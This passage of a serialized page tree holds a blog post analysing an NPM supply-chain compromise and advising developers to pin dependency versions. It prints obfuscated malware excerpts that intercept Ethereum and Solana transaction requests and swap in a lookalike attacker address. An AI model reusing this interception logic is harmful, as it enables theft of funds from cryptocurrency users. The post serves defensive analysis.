,"tag":230,"props":99678,"children":99679},{"style":294},[99680],{"type":29,"value":1680},{"type":23,"tag":230,"props":99682,"children":99683},{"style":274},[99684],{"type":29,"value":2140},{"type":23,"tag":230,"props":99686,"children":99687},{"class":232,"line":391},[99688,99692,99696],{"type":23,"tag":230,"props":99689,"children":99690},{"style":274},[99691],{"type":29,"value":33770},{"type":23,"tag":230,"props":99693,"children":99694},{"style":866},[99695],{"type":29,"value":5654},{"type":23,"tag":230,"props":99697,"children":99698},{"style":274},[99699],{"type":29,"value":277},{"type":23,"tag":230,"props":99701,"children":99702},{"class":232,"line":400},[99703,99707,99711,99715,99719,99723,99727,99731,99735],{"type":23,"tag":230,"props":99704,"children":99705},{"style":262},[99706],{"type":29,"value":44999},{"type":23,"tag":230,"props":99708,"children":99709},{"style":268},[99710],{"type":29,"value":271},{"type":23,"tag":230,"props":99712,"children":99713},{"style":866},[99714],{"type":29,"value":869},{"type":23,"tag":230,"props":99716,"children":99717},{"style":262},[99718],{"type":29,"value":99486},{"type":23,"tag":230,"props":99720,"children":99721},{"style":274},[99722],{"type":29,"value":312},{"type":23,"tag":230,"props":99724,"children":99725},{"style":294},[99726],{"type":29,"value":17744},{"type":23,"tag":230,"props":99728,"children":99729},{"style":274},[99730],{"type":29,"value":32475},{"type":23,"tag":230,"props":99732,"children":99733},{"style":294},[99734],{"type":29,"value":29},{"type":23,"tag":230,"props":99736,"children":99737},{"style":274},[99738],{"type":29,"value":2140},{"type":23,"tag":230,"props":99740,"children":99741},{"class":232,"line":444},[99742],{"type":23,"tag":230,"props":99743,"children":99744},{"style":274},[99745],{"type":29,"value":1331},{"type":23,"tag":230,"props":99747,"children":99748},{"class":232,"line":453},[99749,99753,99758,99762,99767,99771,99775],{"type":23,"tag":230,"props":99750,"children":99751},{"style":256},[99752],{"type":29,"value":843},{"type":23,"tag":230,"props":99754,"children":99755},{"style":262},[99756],{"type":29,"value":99757}," processedData",{"type":23,"tag":230,"props":99759,"children":99760},{"style":268},[99761],{"type":29,"value":271},{"type":23,"tag":230,"props":99763,"children":99764},{"style":294},[99765],{"type":29,"value":99766}," replaceAddresses",{"type":23,"tag":230,"props":99768,"children":99769},{"style":274},[99770],{"type":29,"value":302},{"type":23,"tag":230,"props":99772,"children":99773},{"style":262},[99774],{"type":29,"value":6037},{"type":23,"tag":230,"props":99776,"children":99777},{"style":274},[99778],{"type":29,"value":753},{"type":23,"tag":230,"props":99780,"children":99781},{"class":232,"line":462},[99782,99786,99791],{"type":23,"tag":230,"props":99783,"children":99784},{"style":256},[99785],{"type":29,"value":843},{"type":23,"tag":230,"props":99787,"children":99788},{"style":262},[99789],{"type":29,"value":99790}," finalResponseText",{"type":23,"tag":230,"props":99792,"children":99793},{"style":268},[99794],{"type":29,"value":497},{"type":23,"tag":230,"props":99796,"children":99797},{"class":232,"line":471},[99798,99803,99807,99811,99816,99821,99825,99829,99833,99837,99841,99845,99850],{"type":23,"tag":230,"props":99799,"children":99800},{"style":256},[99801],{"type":29,"value":99802},"    typeof",{"type":23,"tag":230,"props":99804,"children":99805},{"style":262},[99806],{"type":29,"value":99757},{"type":23,"tag":230,"props":99808,"children":99809},{"style":268},[99810],{"type":29,"value":2161},{"type":23,"tag":230,"props":99812,"children":99813},{"style":380},[99814],{"type":29,"value":99815}," 'string'",{"type":23,"tag":230,"props":99817,"children":99818},{"style":268},[99819],{"type":29,"value":99820}," ?",{"type":23,"tag":230,"props":99822,"children":99823},{"style":262},[99824],{"type":29,"value":99757},{"type":23,"tag":230,"props":99826,"children":99827},{"style":268},[99828],{"type":29,"value":37403},{"type":23,"tag":230,"props":99830,"children":99831},{"style":262},[99832],{"type":29,"value":2209},{"type":23,"tag":230,"props":99834,"children":99835},{"style":274},[99836],{"type":29,"value":312},{"type":23,"tag":230,"props":99838,"children":99839},{"style":294},[99840],{"type":29,"value":3937},{"type":23,"tag":230,"props":99842,"children":99843},{"style":274},[99844],{"type":29,"value":302},{"type":23,"tag":230,"props":99846,"children":99847},{"style":262},[99848],{"type":29,"value":99849},"processedData",{"type":23,"tag":230,"props":99851,"children":99852},{"style":274},[99853],{"type":29,"value":753},{"type":23,"tag":230,"props":99855,"children":99856},{"class":232,"line":500},[99857,99861,99866,99870,99874,99879,99883,99888],{"type":23,"tag":230,"props":99858,"children":99859},{"style":256},[99860],{"type":29,"value":843},{"type":23,"tag":230,"props":99862,"children":99863},{"style":262},[99864],{"type":29,"value":99865}," finalResponse",{"type":23,"tag":230,"props":99867,"children":99868},{"style":268},[99869],{"type":29,"value":271},{"type":23,"tag":230,"props":99871,"children":99872},{"style":256},[99873],{"type":29,"value":291},{"type":23,"tag":230,"props":99875,"children":99876},{"style":294},[99877],{"type":29,"value":99878}," Response",{"type":23,"tag":230,"props":99880,"children":99881},{"style":274},[99882],{"type":29,"value":302},{"type":23,"tag":230,"props":99884,"children":99885},{"style":262},[99886],{"type":29,"value":99887},"finalResponseText",{"type":23,"tag":230,"props":99889,"children":99890},{"style":274},[99891],{"type":29,"value":50654},{"type":23,"tag":230,"props":99893,"children":99894},{"class":232,"line":514},[99895,99900,99904,99908,99913],{"type":23,"tag":230,"props":99896,"children":99897},{"style":262},[99898],{"type":29,"value":99899},"    status:",{"type":23,"tag":230,"props":99901,"children":99902},{"style":262},[99903],{"type":29,"value":99486},{"type":23,"tag":230,"props":99905,"children":99906},{"style":274},[99907],{"type":29,"value":312},{"type":23,"tag":230,"props":99909,"children":99910},{"style":262},[99911],{"type":29,"value":99912},"status",{"type":23,"tag":230,"props":99914,"children":99915},{"style":274},[99916],{"type":29,"value":388},{"type":23,"tag":230,"props":99918,"children":99919},{"class":232,"line":897},[99920,99925,99929,99933,99938],{"type":23,"tag":230,"props":99921,"children":99922},{"style":262},[99923],{"type":29,"value":99924},"    statusText:",{"type":23,"tag":230,"props":99926,"children":99927},{"style":262},[99928],{"type":29,"value":99486},{"type":23,"tag":230,"props":99930,"children":99931},{"style":274},[99932],{"type":29,"value":312},{"type":23,"tag":230,"props":99934,"children":99935},{"style":262},[99936],{"type":29,"value":99937},"statusText",{"type":23,"tag":230,"props":99939,"children":99940},{"style":274},[99941],{"type":29,"value":388},{"type":23,"tag":230,"props":99943,"children":99944},{"class":232,"line":960},[99945,99950,99954,99958,99962],{"type":23,"tag":230,"props":99946,"children":99947},{"style":262},[99948],{"type":29,"value":99949},"    headers:",{"type":23,"tag":230,"props":99951,"children":99952},{"style":262},[99953],{"type":29,"value":99486},{"type":23,"tag":230,"props":99955,"children":99956},{"style":274},[99957],{"type":29,"value":312},{"type":23,"tag":230,"props":99959,"children":99960},{"style":262},[99961],{"type":29,"value":99560},{"type":23,"tag":230,"props":99963,"children":99964},{"style":274},[99965],{"type":29,"value":388},{"type":23,"tag":230,"props":99967,"children":99968},{"class":232,"line":969},[99969],{"type":23,"tag":230,"props":99970,"children":99971},{"style":274},[99972],{"type":29,"value":99973},"  });\n",{"type":23,"tag":230,"props":99975,"children":99976},{"class":232,"line":4526},[99977,99981,99985],{"type":23,"tag":230,"props":99978,"children":99979},{"style":866},[99980],{"type":29,"value":3903},{"type":23,"tag":230,"props":99982,"children":99983},{"style":262},[99984],{"type":29,"value":99865},{"type":23,"tag":230,"props":99986,"children":99987},{"style":274},[99988],{"type":29,"value":511},{"type":23,"tag":230,"props":99990,"children":99991},{"class":232,"line":4534},[99992],{"type":23,"tag":230,"props":99993,"children":99994},{"style":274},[99995],{"type":29,"value":450},{"type":23,"tag":144,"props":99997,"children":99998},{"start":252},[99999],{"type":23,"tag":102,"props":100000,"children":100001},{},[100002],{"type":29,"value":100003},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":23,"tag":220,"props":100005,"children":100007},{"code":100006,"language":33671,"meta":7,"className":33669,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[100008],{"type":23,"tag":71,"props":100009,"children":100010},{"__ignoreMap":7},[100011,100090,100101,100158,100198,100223,100238,100249,100283,100316,100335,100362,100370,100381,100421,100450,100478,100485,100525,100568,100612,100627,100666,100673,100697,100704],{"type":23,"tag":230,"props":100012,"children":100013},{"class":232,"line":233},[100014,100018,100022,100027,100031,100035,100039,100044,100048,100053,100057,100062,100066,100070,100074,100078,100082,100086],{"type":23,"tag":230,"props":100015,"children":100016},{"style":866},[100017],{"type":29,"value":17904},{"type":23,"tag":230,"props":100019,"children":100020},{"style":274},[100021],{"type":29,"value":664},{"type":23,"tag":230,"props":100023,"children":100024},{"style":262},[100025],{"type":29,"value":100026},"_0x2c3d7e",{"type":23,"tag":230,"props":100028,"children":100029},{"style":274},[100030],{"type":29,"value":312},{"type":23,"tag":230,"props":100032,"children":100033},{"style":262},[100034],{"type":29,"value":3002},{"type":23,"tag":230,"props":100036,"children":100037},{"style":268},[100038],{"type":29,"value":2161},{"type":23,"tag":230,"props":100040,"children":100041},{"style":380},[100042],{"type":29,"value":100043}," 'eth_sendTransaction'",{"type":23,"tag":230,"props":100045,"children":100046},{"style":268},[100047],{"type":29,"value":16512},{"type":23,"tag":230,"props":100049,"children":100050},{"style":262},[100051],{"type":29,"value":100052}," _0x2c3d7e",{"type":23,"tag":230,"props":100054,"children":100055},{"style":274},[100056],{"type":29,"value":312},{"type":23,"tag":230,"props":100058,"children":100059},{"style":262},[100060],{"type":29,"value":100061},"params",{"type":23,"tag":230,"props":100063,"children":100064},{"style":268},[100065],{"type":29,"value":16512},{"type":23,"tag":230,"props":100067,"children":100068},{"style":262},[100069],{"type":29,"value":100052},{"type":23,"tag":230,"props":100071,"children":100072},{"style":274},[100073],{"type":29,"value":312},{"type":23,"tag":230,"props":100075,"children":100076},{"style":262},[100077],{"type":29,"value":100061},{"type":23,"tag":230,"props":100079,"children":100080},{"style":274},[100081],{"type":29,"value":6069},{"type":23,"tag":230,"props":100083,"children":100084},{"style":5149},[100085],{"type":29,"value":6358},{"type":23,"tag":230,"props":100087,"children":100088},{"style":274},[100089],{"type":29,"value":42390},{"type":23,"tag":230,"props":100091,"children":100092},{"class":232,"line":243},[100093,100097],{"type":23,"tag":230,"props":100094,"children":100095},{"style":866},[100096],{"type":29,"value":99129},{"type":23,"tag":230,"props":100098,"children":100099},{"style":274},[100100],{"type":29,"value":277},{"type":23,"tag":230,"props":100102,"children":100103},{"class":232,"line":252},[100104,100108,100113,100117,100122,100126,100130,100134,100138,100142,100146,100150,100154],{"type":23,"tag":230,"props":100105,"children":100106},{"style":256},[100107],{"type":29,"value":53441},{"type":23,"tag":230,"props":100109,"children":100110},{"style":262},[100111],{"type":29,"value":100112}," _0x39ad21",{"type":23,"tag":230,"props":100114,"children":100115},{"style":268},[100116],{"type":29,"value":271},{"type":23,"tag":230,"props":100118,"children":100119},{"style":294},[100120],{"type":29,"value":100121}," _0x1089ae",{"type":23,"tag":230,"props":100123,"children":100124},{"style":274},[100125],{"type":29,"value":302},{"type":23,"tag":230,"props":100127,"children":100128},{"style":262},[100129],{"type":29,"value":100026},{"type":23,"tag":230,"props":100131,"children":100132},{"style":274},[100133],{"type":29,"value":312},{"type":23,"tag":230,"props":100135,"children":100136},{"style":262},[100137],{"type":29,"value":100061},{"type":23,"tag":230,"props":100139,"children":100140},{"style":274},[100141],{"type":29,"value":6069},{"type":23,"tag":230,"props":100143,"children":100144},{"style":5149},[100145],{"type":29,"value":6358},{"type":23,"tag":230,"props":100147,"children":100148},{"style":274},[100149],{"type":29,"value":25375},{"type":23,"tag":230,"props":100151,"children":100152},{"style":256},[100153],{"type":29,"value":1726},{"type":23,"tag":230,"props":100155,"children":100156},{"style":274},[100157],{"type":29,"value":753},{"type":23,"tag":230,"props":100159,"children":100160},{"class":232,"line":280},[100161,100166,100170,100174,100178,100182,100186,100190,100194],{"type":23,"tag":230,"props":100162,"children":100163},{"style":262},[100164],{"type":29,"value":100165},"    _0x2c3d7e",{"type":23,"tag":230,"props":100167,"children":100168},{"style":274},[100169],{"type":29,"value":312},{"type":23,"tag":230,"props":100171,"children":100172},{"style":262},[100173],{"type":29,"value":100061},{"type":23,"tag":230,"props":100175,"children":100176},{"style":274},[100177],{"type":29,"value":6069},{"type":23,"tag":230,"props":100179,"children":100180},{"style":5149},[100181],{"type":29,"value":6358},{"type":23,"tag":230,"props":100183,"children":100184},{"style":274},[100185],{"type":29,"value":10997},{"type":23,"tag":230,"props":100187,"children":100188},{"style":268},[100189],{"type":29,"value":863},{"type":23,"tag":230,"props":100191,"children":100192},{"style":262},[100193],{"type":29,"value":100112},{"type":23,"tag":230,"props":100195,"children":100196},{"style":274},[100197],{"type":29,"value":511},{"type":23,"tag":230,"props":100199,"children":100200},{"class":232,"line":334},[100201,100205,100209,100213,100218],{"type":23,"tag":230,"props":100202,"children":100203},{"style":274},[100204],{"type":29,"value":33770},{"type":23,"tag":230,"props":100206,"children":100207},{"style":866},[100208],{"type":29,"value":50183},{"type":23,"tag":230,"props":100210,"children":100211},{"style":274},[100212],{"type":29,"value":664},{"type":23,"tag":230,"props":100214,"children":100215},{"style":262},[100216],{"type":29,"value":100217},"_0x226343",{"type":23,"tag":230,"props":100219,"children":100220},{"style":274},[100221],{"type":29,"value":100222},") {}\n",{"type":23,"tag":230,"props":100224,"children":100225},{"class":232,"line":371},[100226,100230,100234],{"type":23,"tag":230,"props":100227,"children":100228},{"style":274},[100229],{"type":29,"value":48645},{"type":23,"tag":230,"props":100231,"children":100232},{"style":866},[100233],{"type":29,"value":5654},{"type":23,"tag":230,"props":100235,"children":100236},{"style":274},[100237],{"type":29,"value":277},{"type":23,"tag":230,"props":100239,"children":100240},{"class":232,"line":391},[100241,100245],{"type":23,"tag":230,"props":100242,"children":100243},{"style":866},[100244],{"type":29,"value":33698},{"type":23,"tag":230,"props":100246,"children":100247},{"style":274},[100248],{"type":29,"value":80345},{"type":23,"tag":230,"props":100250,"children":100251},{"class":232,"line":400},[100252,100257,100261,100265,100269,100273,100278],{"type":23,"tag":230,"props":100253,"children":100254},{"style":274},[100255],{"type":29,"value":100256},"    (",{"type":23,"tag":230,"props":100258,"children":100259},{"style":262},[100260],{"type":29,"value":100026},{"type":23,"tag":230,"props":100262,"children":100263},{"style":274},[100264],{"type":29,"value":312},{"type":23,"tag":230,"props":100266,"children":100267},{"style":262},[100268],{"type":29,"value":3002},{"type":23,"tag":230,"props":100270,"children":100271},{"style":268},[100272],{"type":29,"value":2161},{"type":23,"tag":230,"props":100274,"children":100275},{"style":380},[100276],{"type":29,"value":100277}," 'solana_signTransaction'",{"type":23,"tag":230,"props":100279,"children":100280},{"style":268},[100281],{"type":29,"value":100282}," ||\n",{"type":23,"tag":230,"props":100284,"children":100285},{"class":232,"line":444},[100286,100291,100295,100299,100303,100308,100312],{"type":23,"tag":230,"props":100287,"children":100288},{"style":262},[100289],{"type":29,"value":100290},"      _0x2c3d7e",{"type":23,"tag":230,"props":100292,"children":100293},{"style":274},[100294],{"type":29,"value":312},{"type":23,"tag":230,"props":100296,"children":100297},{"style":262},[100298],{"type":29,"value":3002},{"type":23,"tag":230,"props":100300,"children":100301},{"style":268},[100302],{"type":29,"value":2161},{"type":23,"tag":230,"props":100304,"children":100305},{"style":380},[100306],{"type":29,"value":100307}," 'solana_signAndSendTransaction'",{"type":23,"tag":230,"props":100309,"children":100310},{"style":274},[100311],{"type":29,"value":703},{"type":23,"tag":230,"props":100313,"children":100314},{"style":268},[100315],{"type":29,"value":85594},{"type":23,"tag":230,"props":100317,"children":100318},{"class":232,"line":453},[100319,100323,100327,100331],{"type":23,"tag":230,"props":100320,"children":100321},{"style":262},[100322],{"type":29,"value":100165},{"type":23,"tag":230,"props":100324,"children":100325},{"style":274},[100326],{"type":29,"value":312},{"type":23,"tag":230,"props":100328,"children":100329},{"style":262},[100330],{"type":29,"value":100061},{"type":23,"tag":230,"props":100332,"children":100333},{"style":268},[100334],{"type":29,"value":54457},{"type":23,"tag":230,"props":100336,"children":100337},{"class":232,"line":462},[100338,100342,100346,100350,100354,100358],{"type":23,"tag":230,"props":100339,"children":100340},{"style":262},[100341],{"type":29,"value":100165},{"type":23,"tag":230,"props":100343,"children":100344},{"style":274},[100345],{"type":29,"value":312},{"type":23,"tag":230,"props":100347,"children":100348},{"style":262},[100349],{"type":29,"value":100061},{"type":23,"tag":230,"props":100351,"children":100352},{"style":274},[100353],{"type":29,"value":6069},{"type":23,"tag":230,"props":100355,"children":100356},{"style":5149},[100357],{"type":29,"value":6358},{"type":23,"tag":230,"props":100359,"children":100360},{"style":274},[100361],{"type":29,"value":14103},{"type":23,"tag":230,"props":100363,"children":100364},{"class":232,"line":471},[100365],{"type":23,"tag":230,"props":100366,"children":100367},{"style":274},[100368],{"type":29,"value":100369},"  ) {\n",{"type":23,"tag":230,"props":100371,"children":100372},{"class":232,"line":500},[100373,100377],{"type":23,"tag":230,"props":100374,"children":100375},{"style":866},[100376],{"type":29,"value":71759},{"type":23,"tag":230,"props":100378,"children":100379},{"style":274},[100380],{"type":29,"value":277},{"type":23,"tag":230,"props":100382,"children":100383},{"class":232,"line":514},[100384,100388,100393,100397,100401,100405,100409,100413,100417],{"type":23,"tag":230,"props":100385,"children":100386},{"style":256},[100387],{"type":29,"value":10410},{"type":23,"tag":230,"props":100389,"children":100390},{"style":262},[100391],{"type":29,"value":100392}," _0x5ad975",{"type":23,"tag":230,"props":100394,"children":100395},{"style":268},[100396],{"type":29,"value":271},{"type":23,"tag":230,"props":100398,"children":100399},{"style":262},[100400],{"type":29,"value":100052},{"type":23,"tag":230,"props":100402,"children":100403},{"style":274},[100404],{"type":29,"value":312},{"type":23,"tag":230,"props":100406,"children":100407},{"style":262},[100408],{"type":29,"value":100061},{"type":23,"tag":230,"props":100410,"children":100411},{"style":274},[100412],{"type":29,"value":6069},{"type":23,"tag":230,"props":100414,"children":100415},{"style":5149},[100416],{"type":29,"value":6358},{"type":23,"tag":230,"props":100418,"children":100419},{"style":274},[100420],{"type":29,"value":33871},{"type":23,"tag":230,"props":100422,"children":100423},{"class":232,"line":897},[100424,100428,100432,100437,100441,100446],{"type":23,"tag":230,"props":100425,"children":100426},{"style":866},[100427],{"type":29,"value":3992},{"type":23,"tag":230,"props":100429,"children":100430},{"style":274},[100431],{"type":29,"value":664},{"type":23,"tag":230,"props":100433,"children":100434},{"style":262},[100435],{"type":29,"value":100436},"_0x5ad975",{"type":23,"tag":230,"props":100438,"children":100439},{"style":274},[100440],{"type":29,"value":312},{"type":23,"tag":230,"props":100442,"children":100443},{"style":262},[100444],{"type":29,"value":100445},"transaction",{"type":23,"tag":230,"props":100447,"children":100448},{"style":274},[100449],{"type":29,"value":827},{"type":23,"tag":230,"props":100451,"children":100452},{"class":232,"line":960},[100453,100458,100462,100466,100470,100474],{"type":23,"tag":230,"props":100454,"children":100455},{"style":262},[100456],{"type":29,"value":100457},"        _0x5ad975",{"type":23,"tag":230,"props":100459,"children":100460},{"style":268},[100461],{"type":29,"value":271},{"type":23,"tag":230,"props":100463,"children":100464},{"style":262},[100465],{"type":29,"value":100392},{"type":23,"tag":230,"props":100467,"children":100468},{"style":274},[100469],{"type":29,"value":312},{"type":23,"tag":230,"props":100471,"children":100472},{"style":262},[100473],{"type":29,"value":100445},{"type":23,"tag":230,"props":100475,"children":100476},{"style":274},[100477],{"type":29,"value":511},{"type":23,"tag":230,"props":100479,"children":100480},{"class":232,"line":969},[100481],{"type":23,"tag":230,"props":100482,"children":100483},{"style":274},[100484],{"type":29,"value":1931},{"type":23,"tag":230,"props":100486,"children":100487},{"class":232,"line":4526},[100488,100492,100497,100501,100505,100509,100513,100517,100521],{"type":23,"tag":230,"props":100489,"children":100490},{"style":256},[100491],{"type":29,"value":3471},{"type":23,"tag":230,"props":100493,"children":100494},{"style":262},[100495],{"type":29,"value":100496}," _0x5dbe63",{"type":23,"tag":230,"props":100498,"children":100499},{"style":268},[100500],{"type":29,"value":271},{"type":23,"tag":230,"props":100502,"children":100503},{"style":294},[100504],{"type":29,"value":100121},{"type":23,"tag":230,"props":100506,"children":100507},{"style":274},[100508],{"type":29,"value":302},{"type":23,"tag":230,"props":100510,"children":100511},{"style":262},[100512],{"type":29,"value":100436},{"type":23,"tag":230,"props":100514,"children":100515},{"style":274},[100516],{"type":29,"value":684},{"type":23,"tag":230,"props":100518,"children":100519},{"style":256},[100520],{"type":29,"value":10510},{"type":23,"tag":230,"props":100522,"children":100523},{"style":274},[100524],{"type":29,"value":753},{"type":23,"tag":230,"props":100526,"children":100527},{"class":232,"line":4534},[100528,100532,100536,100540,100544,100548,100552,100556,100560,100564],{"type":23,"tag":230,"props":100529,"children":100530},{"style":866},[100531],{"type":29,"value":3992},{"type":23,"tag":230,"props":100533,"children":100534},{"style":274},[100535],{"type":29,"value":664},{"type":23,"tag":230,"props":100537,"children":100538},{"style":262},[100539],{"type":29,"value":100026},{"type":23,"tag":230,"props":100541,"children":100542},{"style":274},[100543],{"type":29,"value":312},{"type":23,"tag":230,"props":100545,"children":100546},{"style":262},[100547],{"type":29,"value":100061},{"type":23,"tag":230,"props":100549,"children":100550},{"style":274},[100551],{"type":29,"value":6069},{"type":23,"tag":230,"props":100553,"children":100554},{"style":5149},[100555],{"type":29,"value":6358},{"type":23,"tag":230,"props":100557,"children":100558},{"style":274},[100559],{"type":29,"value":52121},{"type":23,"tag":230,"props":100561,"children":100562},{"style":262},[100563],{"type":29,"value":100445},{"type":23,"tag":230,"props":100565,"children":100566},{"style":274},[100567],{"type":29,"value":827},{"type":23,"tag":230,"props":100569,"children":100570},{"class":232,"line":4542},[100571,100576,100580,100584,100588,100592,100596,100600,100604,100608],{"type":23,"tag":230,"props":100572,"children":100573},{"style":262},[100574],{"type":29,"value":100575},"        _0x2c3d7e",{"type":23,"tag":230,"props":100577,"children":100578},{"style":274},[100579],{"type":29,"value":312},{"type":23,"tag":230,"props":100581,"children":100582},{"style":262},[100583],{"type":29,"value":100061},{"type":23,"tag":230,"props":100585,"children":100586},{"style":274},[100587],{"type":29,"value":6069},{"type":23,"tag":230,"props":100589,"children":100590},{"style":5149},[100591],{"type":29,"value":6358},{"type":23,"tag":230,"props":100593,"children":100594},{"style":274},[100595],{"type":29,"value":52121},{"type":23,"tag":230,"props":100597,"children":100598},{"style":262},[100599],{"type":29,"value":100445},{"type":23,"tag":230,"props":100601,"children":100602},{"style":268},[100603],{"type":29,"value":271},{"type":23,"tag":230,"props":100605,"children":100606},{"style":262},[100607],{"type":29,"value":100496},{"type":23,"tag":230,"props":100609,"children":100610},{"style":274},[100611],{"type":29,"value":511},{"type":23,"tag":230,"props":100613,"children":100614},{"class":232,"line":4559},[100615,100619,100623],{"type":23,"tag":230,"props":100616,"children":100617},{"style":274},[100618],{"type":29,"value":3643},{"type":23,"tag":230,"props":100620,"children":100621},{"style":866},[100622],{"type":29,"value":5654},{"type":23,"tag":230,"props":100624,"children":100625},{"style":274},[100626],{"type":29,"value":277},{"type":23,"tag":230,"props":100628,"children":100629},{"class":232,"line":4587},[100630,100634,100638,100642,100646,100650,100654,100658,100662],{"type":23,"tag":230,"props":100631,"children":100632},{"style":262},[100633],{"type":29,"value":100575},{"type":23,"tag":230,"props":100635,"children":100636},{"style":274},[100637],{"type":29,"value":312},{"type":23,"tag":230,"props":100639,"children":100640},{"style":262},[100641],{"type":29,"value":100061},{"type":23,"tag":230,"props":100643,"children":100644},{"style":274},[100645],{"type":29,"value":6069},{"type":23,"tag":230,"props":100647,"children":100648},{"style":5149},[100649],{"type":29,"value":6358},{"type":23,"tag":230,"props":100651,"children":100652},{"style":274},[100653],{"type":29,"value":10997},{"type":23,"tag":230,"props":100655,"children":100656},{"style":268},[100657],{"type":29,"value":863},{"type":23,"tag":230,"props":100659,"children":100660},{"style":262},[100661],{"type":29,"value":100496},{"type":23,"tag":230,"props":100663,"children":100664},{"style":274},[100665],{"type":29,"value":511},{"type":23,"tag":230,"props":100667,"children":100668},{"class":232,"line":4595},[100669],{"type":23,"tag":230,"props":100670,"children":100671},{"style":274},[100672],{"type":29,"value":1931},{"type":23,"tag":230,"props":100674,"children":100675},{"class":232,"line":4619},[100676,100680,100684,100688,100693],{"type":23,"tag":230,"props":100677,"children":100678},{"style":274},[100679],{"type":29,"value":18103},{"type":23,"tag":230,"props":100681,"children":100682},{"style":866},[100683],{"type":29,"value":50183},{"type":23,"tag":230,"props":100685,"children":100686},{"style":274},[100687],{"type":29,"value":664},{"type":23,"tag":230,"props":100689,"children":100690},{"style":262},[100691],{"type":29,"value":100692},"_0x4b99fd",{"type":23,"tag":230,"props":100694,"children":100695},{"style":274},[100696],{"type":29,"value":100222},{"type":23,"tag":230,"props":100698,"children":100699},{"class":232,"line":4627},[100700],{"type":23,"tag":230,"props":100701,"children":100702},{"style":274},[100703],{"type":29,"value":1331},{"type":23,"tag":230,"props":100705,"children":100706},{"class":232,"line":4659},[100707],{"type":23,"tag":230,"props":100708,"children":100709},{"style":274},[100710],{"type":29,"value":975},{"type":23,"tag":59,"props":100712,"children":100714},{"id":100713},"impact-of-the-attack",[100715],{"type":29,"value":100716},"Impact of the Attack",{"type":23,"tag":32,"props":100718,"children":100719},{},[100720],{"type":29,"value":100721},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":23,"tag":24,"props":100723,"children":100725},{"id":100724},"why-it-will-happen-again",[100726],{"type":29,"value":100727},"Why It Will Happen Again",{"type":23,"tag":32,"props":100729,"children":100730},{},[100731],{"type":29,"value":100732},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":23,"tag":32,"props":100734,"children":100735},{},[100736],{"type":29,"value":100737},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":23,"tag":24,"props":100739,"children":100741},{"id":100740},"what-developers-can-do",[100742],{"type":29,"value":100743},"What Developers Can Do",{"type":23,"tag":32,"props":100745,"children":100746},{},[100747],{"type":29,"value":100748},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":23,"tag":59,"props":100750,"children":100752},{"id":100751},"_1-version-pinning-in-packagejson",[100753,100755],{"type":29,"value":100754},"1. Version pinning in ",{"type":23,"tag":71,"props":100756,"children":100758},{"className":100757},[],[100759],{"type":29,"value":100760},"package.json",{"type":23,"tag":32,"props":100762,"children":100763},{},[100764],{"type":29,"value":100765},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":23,"tag":32,"props":100767,"children":100768},{},[100769,100771,100777,100779,100784,100786,100791],{"type":29,"value":100770},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":23,"tag":71,"props":100772,"children":100774},{"className":100773},[],[100775],{"type":29,"value":100776},"npm install",{"type":29,"value":100778},". To pin it, just make sure to remove the caret ",{"type":23,"tag":71,"props":100780,"children":100782},{"className":100781},[],[100783],{"type":29,"value":50706},{"type":29,"value":100785}," symbol before the version in ",{"type":23,"tag":71,"props":100787,"children":100789},{"className":100788},[],[100790],{"type":29,"value":100760},{"type":29,"value":218},{"type":23,"tag":220,"props":100793,"children":100795},{"code":100794,"language":1680,"meta":7,"className":1678,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[100796],{"type":23,"tag":71,"props":100797,"children":100798},{"__ignoreMap":7},[100799,100820,100841,100862],{"type":23,"tag":230,"props":100800,"children":100801},{"class":232,"line":233},[100802,100807,100811,100816],{"type":23,"tag":230,"props":100803,"children":100804},{"style":380},[100805],{"type":29,"value":100806},"\"@react-native-async-storage/async-storage\"",{"type":23,"tag":230,"props":100808,"children":100809},{"style":274},[100810],{"type":29,"value":817},{"type":23,"tag":230,"props":100812,"children":100813},{"style":380},[100814],{"type":29,"value":100815},"\"1.23.1\"",{"type":23,"tag":230,"props":100817,"children":100818},{"style":274},[100819],{"type":29,"value":388},{"type":23,"tag":230,"props":100821,"children":100822},{"class":232,"line":243},[100823,100828,100832,100837],{"type":23,"tag":230,"props":100824,"children":100825},{"style":380},[100826],{"type":29,"value":100827},"\"@react-native-community/datetimepicker\"",{"type":23,"tag":230,"props":100829,"children":100830},{"style":274},[100831],{"type":29,"value":817},{"type":23,"tag":230,"props":100833,"children":100834},{"style":380},[100835],{"type":29,"value":100836},"\"8.3.0\"",{"type":23,"tag":230,"props":100838,"children":100839},{"style":274},[100840],{"type":29,"value":388},{"type":2